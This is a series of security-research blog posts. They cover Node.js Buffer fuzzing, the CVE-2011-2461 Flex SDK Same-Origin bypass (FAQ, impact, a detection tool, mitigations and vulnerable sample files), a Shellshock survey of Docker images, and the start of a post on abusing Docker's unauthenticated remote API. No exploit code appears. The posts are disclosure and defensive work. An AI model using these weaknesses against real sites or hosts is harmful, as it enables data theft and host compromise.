<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">Looking at the backtrace, we can confirm that we're triggering the same vulnerability. If you're interested, I've uploaded the <a href="http://nibblesec.org/files/17360.test"><span id="goog_380130334"></span>auto-generated test case</a>.</span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"><br /></span></div>
<div style="text-align: center;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLOLTKjb_ErLiVL41ML8GmDbq8rb3YE2Z-zehqfcoSgm9QgdoxLG4Qs5r8zBZkMwKH1-6mQLcDfsjkPxtXvH1TmfTNwmWzBsSM0_YBIofBmzMig3fhvQqsmHu6GZPWr8b_x6-EO_adeLc/s640/Screen+Shot+2015-07-27+at+11.20.30+PM.png" /></div>
<h3>
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;"><br /></span></span></h3>
<h3>
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">Now what?!</span></span></h3>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">Node.js Buffer provides a very powerful API with raw memory allocation capabilities. Ilja van Sprundel outlined some of the risks during a </span><a href="https://www.youtube.com/watch?v=XXqP-jzJBWs" style="font-size: 12.6666669845581px;">recent webcast</a><span style="font-size: 12.6666669845581px;">, and the latest vulnerability was a clear demonstration of the possible outcomes. Having already spent a few hours on building the grammar, I expanded this little fuzzing exercise with the goal of discovering similar vulnerabilities. After a few days of generation/execution and over 400,000 test cases, I have yet to triggered another segmentation fault in Node.js' Buffer. Although this exercise doesn't give us a definitive assurance, it is probably a good sign of the maturity of the API. Nonetheless, grammar-based fuzzing is fun and can lead to interesting results.</span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;"><br /></span></span></div>
Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com0tag:blogger.com,1999:blog-732257695511948254.post-33526893710721193332015-05-16T16:09:00.000-07:002015-05-24T13:26:17.951-07:00Adopt OSS. A new initiative by OWASP Italy.<div style="text-align: justify;">
NibbleSec blog is a place for neat vulnerabilities, new security research and (hopefully) food for thought. In today's post, I want to take the opportunity to promote a new initiative by OWASP Italy.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.owasp.org/images/a/a3/OWASP-Italy.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="89" src="https://www.owasp.org/images/a/a3/OWASP-Italy.PNG" width="320" /></a></div>
<br />
<h2>
Adopt OSS</h2>
<div style="text-align: justify;">
In the wake of the <a href="http://en.wikipedia.org/wiki/Edward_Snowden">Snowden revelations</a> and recent <a href="http://heartbleed.com/">OpenSSL vulnerabilities</a>, ensuring the security of the technology that powers our daily life is vital for individuals’ security and privacy on the Internet. Despite the collaborative and transparent nature of open source software, security flaws are still frequently discovered in popular applications.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Given <a href="https://www.owasp.org/index.php/Main_Page">OWASP</a>’s mission to help organizations with application security, the <a href="https://www.owasp.org/index.php/Italy">Italian Chapter of OWASP</a> has established a new initiative to provide <b>free, voluntary based support to open source software projects</b>. <a href="http://www.ted.com/talks/mikko_hypponen_how_the_nsa_betrayed_the_world_s_trust_time_to_act">By building together open, free and secure systems</a>, we can promote innovation and help building better software, resilient to modern threats.</div>
<br />
<div style="text-align: justify;">
Thanks to <a href="https://www.owasp.org/index.php/Italy#Adopt_OSS._First_Edition">Adopt OSS</a>, security enthusiasts are paired with participating open source projects, thus gaining exposure to real-life security engineering challenges and the opportunity for career growth. In turn, the participating projects are able to obtain free professional expertise to better improve their security posture, and ultimately build secure software. Examples of activities include, but are not limited to, thread modeling, performing security assessments, testing security patches, writing documentation on security topics, improving SDLC and vulnerability disclosure practices.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Over a six months period, OWASP Italy will facilitate the effort by coordinating the initiative and providing support when needed. The first edition of this initiative will take place between <b>May and November 2015</b>. At the end of the six months period, OWASP Italy will publish results and feedback from both volunteers and OSS maintainers.</div>
<div>
<br /></div>
<div style="text-align: justify;">
Many OpenSource projects need help, and hopefully more security enthusiasts will contribute and create similar initiatives. <i>If you have time to complain about something, then you have the time to do something about it.</i></div>
<div>
<br /></div>
<div style="text-align: justify;">
For more details, please refer to: <a href="https://www.owasp.org/index.php/Italy#Adopt_OSS._First_Edition">https://www.owasp.org/index.php/Italy#Adopt_OSS._First_Edition</a></div>
Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com1tag:blogger.com,1999:blog-732257695511948254.post-10638385758155698332015-03-26T23:12:00.001-07:002015-03-30T08:20:02.873-07:00CVE-2011-2461 is back - FAQAfter our presentation at <a href="https://www.troopers.de/">Troopers 2015</a>, we have received numerous replies in the form of comments on <a href="http://it.slashdot.org/story/15/03/24/2241220/flash-based-vulnerability-lingers-on-many-websites-three-years-later">Slashdot</a>, <a href="http://www.reddit.com/r/netsec/comments/2zlu8p/sop_bypass_data_stealing_and_actions_forging/">Reddit</a> or emails. In this post, we want to provide more details and clarify some points.<br />
<br />
<span style="font-weight: bold;">Q: </span>What's the exploit vector here?<br />
<span style="font-weight: bold;">A:</span> We've now released all details of an actual attack flow. Please refer to the "<a href="http://blog.mindedsecurity.com/2015/03/exploiting-cve-2011-2461-on-googlecom.html">Exploiting CVE-2011-2461 on Google.com</a>" blog post to understand the nature of the attack. This should give sufficient technical details on how this vulnerability can be exploited.<br />
<br />
<span style="font-weight: bold;">Q: </span>Patching all vulnerable SWF files isn't a realistic solution, is it?<br />
<span style="font-weight: bold;">A:</span> Unless Adobe introduces an additional check in the player, we don't have many options.<br />
<br />
<span style="font-weight: bold;">Q: </span>Why doesn't Adobe patch the Flash player?<br />
<span style="font-weight: bold;">A:</span> The bug affects Adobe (now Apache) Flex SDK. As a result, it was properly corrected in the compiler. Having said that, Adobe could probably implement a check in the Flash player itself in order to mitigate this issue. Considering that vulnerable SWF files need to be recompiled or patched, it would be beneficial to have a solution that can be easily deployed by Internet users.<br />
<br />
<span style="font-weight: bold;">Q: </span>I'd love to patch my hazardous SWF files, but the link on Adobe website goes to an error 404. Where can I find this file?<br />
<span style="font-weight: bold;">A:</span> Fail. We notified Adobe last week and they have now restored the tool page. Last time we checked, the official patch tool was <a href="http://helpx.adobe.com/flash-builder/kb/flex-security-issue-apsb11-25.html">available for download</a>. Alternatively, it is possible to recompile the entire SWF with a new version of the Flex SDK.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBjMaF3Slgv83YaKV6UIxryyPZDVEm5rLrOH0CJIDQHhyphenhyphenvbTnsGwRAi3-tCltkfja1xmRk2Va-GL6qArKLcNHEZNah1SFvaPIsvc4DAldXZ82ghx5CfEVelPg7g-LecD0VhiptyVye_sQ/s1600/Screen+Shot+2015-03-25+at+11.44.48+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBjMaF3Slgv83YaKV6UIxryyPZDVEm5rLrOH0CJIDQHhyphenhyphenvbTnsGwRAi3-tCltkfja1xmRk2Va-GL6qArKLcNHEZNah1SFvaPIsvc4DAldXZ82ghx5CfEVelPg7g-LecD0VhiptyVye_sQ/s1600/Screen+Shot+2015-03-25+at+11.44.48+PM.png" height="108" width="400" /></a></div>
<span style="font-weight: bold;"><br /></span>
<span style="font-weight: bold;">Q: </span>Can you publish more details around the number of vulnerable sites/files?<br />
<span style="font-weight: bold;">A:</span> Considering that we've enumerated all SWF files using search engine results only, our numbers may not be accurate and are certainly influenced by numerous factors. As mentioned, 3 out of the Top 10 Alexa sites were hosting at least one vulnerable SWF file. We're interested in collecting metrics around this bug, so please let us know if you have performed extensive scans using <a href="https://github.com/ikkisoft/ParrotNG">ParrotNG</a>.<br />
<br />
<span style="font-weight: bold;">Q: </span>Where can I find a vulnerable SWF file to test my detection tool?<br />
<span style="font-weight: bold;">A:</span> We've created a vulnerable <i>HelloWorld</i> Flex app compiled with an old version of the Flex SDK. You can download the <a href="http://nibblesec.org/files/flex_helloworld_samples.zip">SWF test cases archive</a>, which includes a vulnerable and a non-vulnerable version of the same file.<br />
<br />
Brought to you by <i>Mauro Gentile (@sneak_) & Luca Carettoni (@_ikki)</i>Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com1tag:blogger.com,1999:blog-732257695511948254.post-12140814218564381002015-03-19T09:54:00.001-07:002015-03-19T10:05:38.812-07:00The old is new, again. CVE-2011-2461 is back!<h3>
Overview</h3>
<div style="text-align: justify;">
As part of an ongoing investigation on Adobe Flash SOP bypass techniques, we identified a vulnerability affecting old releases of the Adobe Flex SDK compiler. Further investigation traced the issue back to a known vulnerability (<a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2461">CVE-2011-2461</a>), already patched by Adobe in <a href="https://www.adobe.com/support/security/bulletins/apsb11-25.html">apsb11-25</a>.</div>
<br />
<div style="text-align: justify;">
Old vulnerability, bad luck, let's move on. <i>Not this time</i>.</div>
<br />
<div style="text-align: justify;">
The particularity of CVE-2011-2461 is that vulnerable Flex applications <b>have to be recompiled or patched</b>; even with the most recent Flash player, vulnerable Flex applications can be exploited. As long as the SWF file was compiled with a vulnerable Flex SDK, attackers can still use this vulnerability against the latest web browsers and Flash plugin.</div>
<br />
<div style="text-align: justify;">
As soon as we understood the potential risk, we conducted a large-scale analysis by locating SWFs hosted on popular websites and analyzing those files with a custom tool capable of detecting vulnerable code patterns. This research has led to the identification of numerous websites vulnerable to CVE-2011-2461, including 3 sites out of the Alexa Top 10.<br />
<br /></div>
<h3>
</h3>
<h3>
Disclosure</h3>
<div style="text-align: justify;">
We're back to the hotel after another amazing day at <a href="https://www.troopers.de/events/troopers15/497_the_old_is_new_again_cve20112461_is_back/">Troopers 2015</a>, where we presented the results of our research. The information provided in this blog post, together with the slides of the conference (download from <a href="https://github.com/ikkisoft/ParrotNG/raw/master/documents/Troopers%202015%20-%20The%20old%20is%20new%2C%20again.%20CVE-2011-2461%20is%20back!.pdf">here</a>), should be sufficient to detect and mitigate the risk. As soon as we feel that there is a general understanding of this flaw we will be publishing more details, including a real exploitation scenario.<br />
<br />
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/45929008" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="425"> </iframe> <br />
<div style="margin-bottom: 5px;">
<strong> <a href="https://www.slideshare.net/ikkisoft/the-old-is-new-again-cve20112461-is-back" target="_blank" title="The old is new, again. CVE-2011-2461 is back!">The old is new, again. CVE-2011-2461 is back!</a> </strong> from <strong><a href="https://www.slideshare.net/ikkisoft" target="_blank">ikkisoft</a></strong> </div>
</div>
<br />
<div style="text-align: justify;">
During the past months, we've done our best to privately disclose this issue to some of the largest websites, but we won't be able to reach a broader audience without publicly releasing the technical details. As suggested by the many vulnerable applications that we've encountered, it is clear that CVE-2011-2461 did not raise the adequate level of attention back in 2011. By explaining the potential impact and releasing a tool capable of identifying vulnerable SWF files, we hope to contribute towards eradicating this issue.<br />
<br /></div>
<div>
<h3>
Impact</h3>
<div style="text-align: justify;">
This vulnerability allows attackers to steal victims' data (via <b>S</b>ame<b>-O</b>rigin <b>R</b>equest<b> F</b>orgery), or perform actions on behalf of the victim (via <b>C</b>ross-<b>S</b>ite <b>R</b>equest <b>F</b>orgery), by asking them to visit a malicious web page. Practically speaking, it is possible to force the affected Flash movies to perform Same-Origin requests and return the responses back to the attacker. Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user's data.<br />
<br /></div>
</div>
<div style="text-align: justify;">
Summarizing, <b>hosting vulnerable SWF files leads to an "indirect" Same-Origin-Policy bypass in fully patched web browsers and plugins.</b><br />
<br />
<h3>
Vulnerable Component</h3>
Starting from Flex version 3, Adobe introduced runtime localizations. A new component in the Flex framework — the <i>ResourceManager </i>— allows access to localized resources at runtime. Any components that extend <i>UIComponent</i>, <i>Formatter</i>, or <i>Validator</i> have a ResourceManager property, which allows the SWF file to access the singleton instance of the resource manager. By using this new functionality, users can pass localization resources via a <u>resourceModuleURLs</u> FlashVar, instead of embedding all resources within the main SWF.<br />
<br />
In practice, Flex applications compiled with SDK >= 3 support the following resource loading mechanism:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZsHrwbVSuZ9MYISFqG3tc-t3DWjeNOn7cyO5Szk_yxBnXmqDyMVlJMJ8nuFJJOXLTVUvaPXyHAwrEvcADl0nQVAOpamFxwFOfEdhme7reUbK2qvnpdrJpMjyRiIWa-8RPbfp-fLuK01Y/s1600/Screen+Shot+2015-03-16+at+4.47.57+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZsHrwbVSuZ9MYISFqG3tc-t3DWjeNOn7cyO5Szk_yxBnXmqDyMVlJMJ8nuFJJOXLTVUvaPXyHAwrEvcADl0nQVAOpamFxwFOfEdhme7reUbK2qvnpdrJpMjyRiIWa-8RPbfp-fLuK01Y/s1600/Screen+Shot+2015-03-16+at+4.47.57+PM.png" height="91" width="400" /></a></div>
<br />
In Adobe Flex SDK between 3.x and 4.5.1, compiled SWF files <u>do not properly</u> validate the security domain of the resource module, leading to Same-Origin requests and potentially Flash XSS (in older versions of the Flash player). A detailed root cause analysis is included in our slides deck.<br />
<br /></div>
<div dir="ltr" style="margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<h3>
Identifying vulnerable SWF files with ParrotNG</h3>
ParrotNG is a Java-based tool for automatically identifying vulnerable SWF files, built on top of <a href="http://www.swftools.org/swfdump.html">swfdump</a>. One JAR, two flavors: <i>command line tool</i> and B<i>urp Pro Passive Scanner Plugin</i>.<br />
<br />
Download the tool from <a href="https://github.com/ikkisoft/ParrotNG/releases">https://github.com/ikkisoft/ParrotNG/</a><br />
<br /></div>
<h3 style="text-align: start;">
<span id="docs-internal-guid-47a01f7c-24f9-6cb3-c22e-0491d7d1ba16">
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpYplA8JpOnTndoCZobaORlt5OOCT63e9SMgTR0A8ooTXNBpYuAG8josBPeuHf8wRLeiT8mlcBqz0a7wFXYhtub57pPXyM96ZCLiIvvpw287JZaS-jFO6pU41kHkShx3rMhydkMplcRWI/s1600/Screen+Shot+2015-03-16+at+4.58.28+PM.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpYplA8JpOnTndoCZobaORlt5OOCT63e9SMgTR0A8ooTXNBpYuAG8josBPeuHf8wRLeiT8mlcBqz0a7wFXYhtub57pPXyM96ZCLiIvvpw287JZaS-jFO6pU41kHkShx3rMhydkMplcRWI/s1600/Screen+Shot+2015-03-16+at+4.58.28+PM.png" height="245" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">ParrotNG Burp Pro Plugin</td></tr>
</tbody></table>
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPUec1Po8CNTFSY00vqeglUakB4gvvHXjYW6DFnTyOnB_X8-L7QYJ2UsQd-Vca_qNpsDN_aP4GPDQGjsavwmV8ZD_fQ4SWTEAJuOM6N2YnQ16aelFjTL7pkdMl-4uLzeT3BzJKoa2XpUY/s1600/Screen+Shot+2015-03-16+at+4.58.38+PM.png" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPUec1Po8CNTFSY00vqeglUakB4gvvHXjYW6DFnTyOnB_X8-L7QYJ2UsQd-Vca_qNpsDN_aP4GPDQGjsavwmV8ZD_fQ4SWTEAJuOM6N2YnQ16aelFjTL7pkdMl-4uLzeT3BzJKoa2XpUY/s1600/Screen+Shot+2015-03-16+at+4.58.38+PM.png" height="160" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">ParrotNG Command Line</td></tr>
</tbody></table>
</span></h3>
To use the command-line version, simply execute the following:<br />
<blockquote class="tr_bq">
$ java -jar parrotng_v0.2.jar <SWF File | Directory></blockquote>
To use ParrotNG Burp Pro Plugin, load <i>parrotng_v0.2.jar </i>from <i>Burp's Extender Tab-->Add </i>as a standard Java extension. With Passive Scanner enabled, all SWF files passing through Burp Suite are automatically analyzed. For more details, please refer to <a href="http://portswigger.net/burp/help/extender.html">Burp's official documentation</a>.<br />
<br />
<span style="text-align: start;"><b>There are still many more websites that are hosting vulnerable SWF files out there. Please help us making the Internet a safer place by reporting vulnerable files to the respective website's owners.</b></span><br />
<h3>
</h3>
<h3>
</h3>
<h3>
</h3>
<h3>
<br /></h3>
<h3>
Mitigations</h3>
</div>
After having identified all Flex SWF files compiled with a vulnerable version of the Adobe Flex SDK, there are three possibilities:
<br />
<ul>
<li>Recompile them with the latest <a href="http://flex.apache.org/">Apache Flex SDK</a>, including static libraries;</li>
<li>Patch them with the official Adobe patch tool, as <a href="https://helpx.adobe.com/flash-builder/kb/flex-security-issue-apsb11-25.html">illustrated here</a>. This seems to be sufficiently reliable, at least in our experience;</li>
<li>Delete them, if not used anymore.</li>
</ul>
<div style="text-align: left;">
<br />
Brought to you by <i>Mauro Gentile (@sneak_) & Luca Carettoni (@_ikki)</i></div>
Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com3tag:blogger.com,1999:blog-732257695511948254.post-7594000372925007112014-10-15T13:39:00.000-07:002014-10-20T01:21:45.916-07:00Shellshock: a survey of Docker images<div style="text-align: justify;">
When I look at the whole <a href="http://en.wikipedia.org/wiki/Shellshock_(software_bug)"><i>Shellshock</i></a> debacle I am mostly sad. Sad that one can exploit a bug in a piece of software from 1989 to hack internet-connected devices in 2014. I always have this naive hope that maybe, just maybe, not everything is hopelessly broken - which of course gets crushed every other week.</div>
<br />
<div style="text-align: justify;">
Enough ranting. This blog post is about a small research I've run last week on Docker and <i>Shellshock</i>. No, sorry, this is not yet another "product X is vulnerable to <i>Shellshock</i> if used in a dark night with a super moon" report. So, what is this about? To understand that, we need to do some homework.</div>
<br />
<h3>
Docker Images and you</h3>
<div style="text-align: justify;">
One of the core concepts of Docker is the difference between an Image and a Container. The TL;DR;, slightly inaccurate version (I should not use Virtual Machine in this context but all readers will be familiars with VMs) can be broken down in two points:</div>
<div>
<ol>
<li style="text-align: justify;">An Image is a "base", read only virtual machine template and a "Container" is a writable instance of that machine;</li>
<li style="text-align: justify;">Images can be chained in a hierarchy of inheritance where a Base image is modified generating a child image and so on. This is "<i>the</i> way" to build images, even though you can always build your own.</li>
</ol>
</div>
<div style="text-align: justify;">
<a href="https://docs.docker.com/terms/images/docker-filesystems-busyboxrw.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="240" src="https://docs.docker.com/terms/images/docker-filesystems-busyboxrw.png" width="320" /></a>Here is an image deep linked from the <a href="https://docs.docker.com/terms/container/">Docker documentation</a>, which should make things clearer.</div>
<div style="text-align: justify;">
As you can see the Debian Base Image has a couple of children before finally generating a writable container. The logic of Docker is such that you should not be "changing" the base image but rather "building on top" of it, adding new components. You surely can, but that would kill one of the key benefits of Docker - citing <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/7.0_Release_Notes/sect-Red_Hat_Enterprise_Linux-7.0_Release_Notes-Linux_Containers_with_Docker_Format-Advantages_of_Using_Docker.html">Red Hat</a>: <i>Lightweight footprint and minimal overhead</i>.</div>
<br />
<div style="text-align: justify;">
Another important piece of information is that Docker maintains <a href="https://registry.hub.docker.com/">its own repository of public images</a> that anyone can download and use. Docker has some rather complicated concepts for indexes and registries but they don't help us here: suffice to say that in practice lots of users will download images from this "official" repository.</div>
<br />
<div style="text-align: justify;">
Some important implications for us security folks:</div>
<br />
<div>
<ul>
<li style="text-align: justify;">If a base image has a security bug, it is at least possible (if not likely) that all the children will inherit the same bug;</li>
<li style="text-align: justify;">The logic with which developers most likely approach this model is "I won't have to worry about the base image". This has been somehow <a href="http://www.activestate.com/blog/2013/06/solomon-hykes-explains-docker">hinted at</a> and while some experienced developers will take the need for updates into consideration, not everyone will;</li>
<li style="text-align: justify;">People will download and build upon a set of images from Docker's repository. No, we will not hack that, stop being evil!</li>
</ul>
<br />
<ul>
</ul>
<h3>
Yeah, OK. So, Shellshock and Docker?</h3>
</div>
<div style="text-align: justify;">
Now that we have a shared passable understanding of how Images work in Docker, let's get to what I have done. Last week I wondered how many of the most popular Docker base images had been updated: Shellshock had significant press coverage, the kind of coverage that pushes <i>my mum </i>to ask me about "that problem they are talking about in the news", so I figured that most of the main images would have been updated by now. Have them?</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
To find out, I whipped together a small Python script (<a href="https://github.com/paradoxengine/docker-tester">published on github</a>) that downloads a list of Docker images in an host VM, downloads and runs a script on each one and then reports the results. Once I finally managed to get it working reliably (and I suspect Guido might have heard me cursing my inability with the language he designed as I longed for the forbidden PHP fruit) I run it against the 100 most popular Docker images published on Docker's repository. In a nutshell, my script simply downloads the image, runs <a href="https://github.com/hannob/bashcheck">bashcheck</a> on it, and then reports back the results. Because of the way the integration is designed, it will only work on Debian based machines: this is an important point because it means that <i>all my results are likely underestimating the actual numbers</i>.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Many crashes of Virtual Box later, the results were back. 30 Images had at least one instance of the many bugs the Shellshock umbrella covered. The full results are in the repository with the script, and I'll summarize them later on, but a caveat first. There is no proof that containers using these images or derivates of those images can be exploited: the only thing my script detects is the lack of patching. Don't wear your tinfoil hats just yet.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Now, without further ado...</div>
<div>
<br /></div>
<h3>
Things I have learnt scanning the 100 most popular Docker images</h3>
<div>
<ul>
<li style="text-align: justify;">30% of the top 100 images were still vulnerable to one of the shellshock bugs;</li>
<li style="text-align: justify;">4 of the top 30 were vulnerable, 1 in the top 10 - so around 10% of the really popular images;</li>
<li style="text-align: justify;">None of the vulnerable images were "official, Docker maintained images", but some were based on them: those images were still vulnerable because they were not <i>rebuilt</i> after the patch had been applied on the base images. That is, using a base image that gets regularly updated is not enough;</li>
<li style="text-align: justify;">Some of the vulnerable images have a consistent user base, or at least downloads. <i>asher/remote_syslog</i> has got almost 900.000 downloads;</li>
<li style="text-align: justify;">Docker security team is really nice. I gave them an heads up (nothing for them to do here really, in terms of incident response, but a lot of long term work) and they were very direct about the issues and shared some nice insights. Thumbs up.</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-Cb2xz0H4jfw/VD7aIdrKqnI/AAAAAAAAqRU/fmJ4dKlSeJM/s1600/image%2B(2).png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://4.bp.blogspot.com/-Cb2xz0H4jfw/VD7aIdrKqnI/AAAAAAAAqRU/fmJ4dKlSeJM/s1600/image%2B(2).png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">A synthetic summary of the shellshock related bugs I've found scanning on October 9th 2014</td></tr>
</tbody></table>
<br />
<ul>
</ul>
</div>
<h3>
Things you should worry about</h3>
<div style="text-align: justify;">
Pentesters never worry! If you are a pentester, you likely want to keep an eye out for usages of Docker images during a pentest. You might even want to ask container's configurations to discover vulnerabilities before you even start the test - it's wonderful to have bugs at day 0.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If you are on the other side of the security fence, though, Docker is coming for you: it's the new hotness and it's quite likely to pop up in your infrastructure in one form or another. The sooner you have a strategy in mind to update those containers, the better.</div>
<div>
<br /></div>
<div style="text-align: justify;">
But wait, <b>didn't we use to have the very same problem with virtual machines a few years ago? </b>We still do. But we used to, too.<br />
However I think there are some subtle but important differences here. As an admin or security person, you can't just SSH in the machine and "apt-get upgrade" it, then save a new snapshot. There is a whole chain of images that might get forked in various points, where some of the nodes might even be escaping your control. Updating images is a very real, <a href="https://github.com/docker/docker/issues/1724">known problem</a>: the Docker security team told me they are looking into it so hopefully things are going to get better in the future, but for now you really want to have a story for managing updates. Possibly before the next Shellshock.</div>
<div>
<br /></div>
<h3>
My humble view on things that could be improved</h3>
<div style="text-align: justify;">
I should start by saying that I don't know nearly enough about Docker's infrastructure to have a complete view - and that making posts where you have to provide no solution to the problems you find is much easier. However, I think I realized two or three things while working on this:</div>
<div>
<ul>
<li style="text-align: justify;"><b>Reporting bugs on Docker images is hard!</b> Some of these images have tens of thousands of users but no bug tracker or no clear way to report security bugs. In some cases I've opened an issue in github and hoped for the best. Providing some kind of built-in bug reporting feature would be a nice to have in the registry, or maybe this could be brewed in Dockerfiles?</li>
<li style="text-align: justify;"><b>Old images are bad</b>! When you look at an image in Docker's repository you have a clear indication of when it was built (or at least committed). Check out the Properties of <a href="https://registry.hub.docker.com/u/itzg/minecraft-server/dockerfile/">itzg/minecraft-server</a>: it has been built before the Shellshock bug was even discovered and it's based on an official base image. Now, given that we know what base images are vulnerable to bugs and when, it should be possible to simply assume that all the images that have been built before that as potentially vulnerable as well;</li>
<li style="text-align: justify;"><b>Custom images are a lot of work to maintain. </b>On one of my bug reports the maintainer of the image just said "sure, I'll rebuild". Since he was using an official Debian build as a base image, it's not a lot of work on his side. Had he used a completely custom OS, he'd have to do a standard upgrade, which takes more and more time and effort as the image ages.</li>
</ul>
<br />
<ul>
</ul>
<h3>
In conclusion...</h3>
</div>
<div style="text-align: justify;">
A somewhat interesting percentage of images was found to be vulnerable during my tests, for a total of maybe a couple of millions downloads and thus potentially affected containers. The interesting takeaway for me, however, was that updating Docker images is subtly different and possibly more complex than updating VMs. I suspect this is something we'll have to deal with more and more in the future as containerized systems become widespread.</div>
<div>
<br />
EDIT: I have been pointed <a href="http://blog.tutum.co/2014/10/09/protect-your-docker-containers-against-shellshock/">this blog post</a> which does a detailed analysis of some of the official Base Images - I have only pulled the Latest tag for each Image, so they got more coverage there. From a quick skim, none of the images I've found to be vulnerable were based on the images they flag in the article.</div>
Claudio Criscionehttp://www.blogger.com/profile/12202628660778574382noreply@blogger.com2tag:blogger.com,1999:blog-732257695511948254.post-70631282273936396432014-09-09T00:39:00.000-07:002014-10-16T12:43:09.950-07:00Abusing Docker's Remote APIs<h3>
Forewords: is this post about a security vulnerability?</h3>
<div style="text-align: justify;">
Ultimately it's not. This is a short note on how to exploit a somehow under-documented feature in the <a href="https://www.docker.com/">Docker</a> remote APIs, since I did not manage to find clear guidance elsewhere and had to experiment with it myself. The reason for sharing is to save you time during the next pentest. That said, do I think this is bad? Yes, I do, as I will explain later on.<br />
<br />
<b>EDIT: </b>It turns out maybe I wasn't so wrong worrying about this.<br />
See <a href="https://groups.google.com/forum/#!msg/docker-announce/aQoVmQlcE0A/smPuBNYf8VwJ">this announcement</a>.<br />
<br />
<h3>
So, what is this about?</h3>
</div>
<div style="text-align: justify;">
TL;DR; The Docker's Remote APIs trivially allow anyone with access to them to obtain <b>access to the file system of the host</b>, by design, and are unauthenticated (but disabled) by default.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Docker is a container-based platform for application "shipment", but to be fair, <a href="https://www.docker.com/whatisdocker/">the official what is Docker page </a>does a better job at explaining what this is all about. Docker is all the rage in these days and if you have never heard of it you should really look it up. It's quite likely to show up in one of your next penetration tests since companies seem to be experimenting with it quite extensively.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Docker is usually managed via a command line tool, which <b>connects to the Docker server via a Unix socket</b>. Access is restricted to the root user by default or to an aptly named Docker group, at least on the <a href="https://docs.docker.com/installation/ubuntulinux/">Ubuntu packages</a> I've experimented with. So far, so good (sort of, but I don't really have strong arguments here).</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This is of course not very convenient if you are working in any environment but your bedroom, so the helpful devs have provided a RESTful API which can be bound to any HTTP port. It is <b>not enabled by default</b>, which is something worth stressing, but can be turned on via a flag (<span style="font-family: Courier New, Courier, monospace;">-H tcp://IP_ADRESS:PORT</span>). <a href="http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=docker">IANA</a> has assigned ports 2375 and 2376 to the cleartext and SSL protected versions of the APIs respectively.</div>
<div>
<br /></div>
<div style="text-align: justify;">
